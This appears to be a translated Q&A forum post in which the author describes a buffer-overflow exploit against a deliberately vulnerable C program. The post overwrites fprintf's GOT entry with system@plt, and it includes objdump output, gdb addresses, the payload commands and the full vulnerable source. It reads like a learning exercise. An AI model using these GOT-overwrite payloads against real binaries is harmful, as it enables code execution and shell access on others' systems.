A continuación se muestra la salida objdump
de un programa en C (código fuente al final de esta publicación) donde estoy realizando un desbordamiento de búfer para sobrescribir la entrada de la tabla de compensación de grupo (GOT):
-$ objdump -R ./vuln
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049944 R_386_GLOB_DAT __gmon_start__
08049980 R_386_COPY stderr
#note the adress of stdout below
080499a0 R_386_COPY stdout
08049954 R_386_JUMP_SLOT printf
08049958 R_386_JUMP_SLOT fwrite
0804995c R_386_JUMP_SLOT strcpy
08049960 R_386_JUMP_SLOT system
08049964 R_386_JUMP_SLOT __gmon_start__
08049968 R_386_JUMP_SLOT exit
0804996c R_386_JUMP_SLOT strlen
08049970 R_386_JUMP_SLOT __libc_start_main
#note the adress of fprintf below
08049974 R_386_JUMP_SLOT fprintf
-$
Dirección de system()
, de gdb:
(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>
(gdb)
Puedo llamar a system()
en lugar de fprintf()
escribiendo 0x8048410
en 0x8049974
al proporcionar la entrada como se muestra a continuación.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"'
hello
sh: 1: �*��: not found
-$
La entrada anterior funcionó y system()
se llamó en lugar de fprintf()
, como se puede ver en la salida anterior. Pero parece que /bin/sh
intentó ejecutar el comando ubicado en stdout
que no pudo entender ( sh: 1: �*��: not found
).
Podemos ver desde objdump
la salida por encima de esa dirección de stdout
es 0x80499a0
. Esta dirección está a 44 bytes de 0x8049974
.
Recuerda que estoy copiando 0x8048410 a 0x8049974
.
Así que pensé, después de 0x8048410
puedo dar 40 caracteres aleatorios y luego /bin/sh
para que /bin/sh
se copie a 0x80499a0
(dirección de stdout
). Entonces cuando system(stdout, "%s\n", buffer);
se genera un nuevo shell.
Después de hacer esto, al menos el error de shell desaparece (es decir, no obtengo sh: 1: �*��: not found
), pero parece que no ocurre nada más y no se genera una nueva shell.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"''perl -e 'print "a"x40 . "/bin/sh"''
hello
-$
Así que el resumen es:
Soy capaz de llamar a system()
en lugar de fprintf()
al sobrescribir las entradas GOT, y NO tengo ningún problema en esta parte.
Pero una vez que se llama a system()
, mi problema es (stdout, "%s\n", buffer)
, debido a que (supongo) system()
(y, por consiguiente, /bin/sh
) está intentando ejecutar un comando cuyo nombre está señalado por stdout
.
Como dije, lo intenté escribiendo /bin/sh
después de 44 bytes después de 0x8049974
pero nada parece suceder.
Puedo invocar system(stdout, "%s\n", buffer)
en lugar de fprintf(stdout, "%s\n", buffer)
sobrescribiendo la entrada GOT. Pero no puedo generar un shell con este comando del sistema. ¿Cómo puedo apuntar stdout
a /bin/sh
? Tengo la dirección (0x80499a0) a la que apunta stdout
(de la salida de objdump).
A continuación se muestra el código fuente del programa que estoy intentando explotar
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char *p;
char buffer[128];
if (argc != 3) {
fprintf(stderr, "enter two strings that need to be concatenated\n");
return 1;
}
system("echo hello");
/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);
exit(0);
}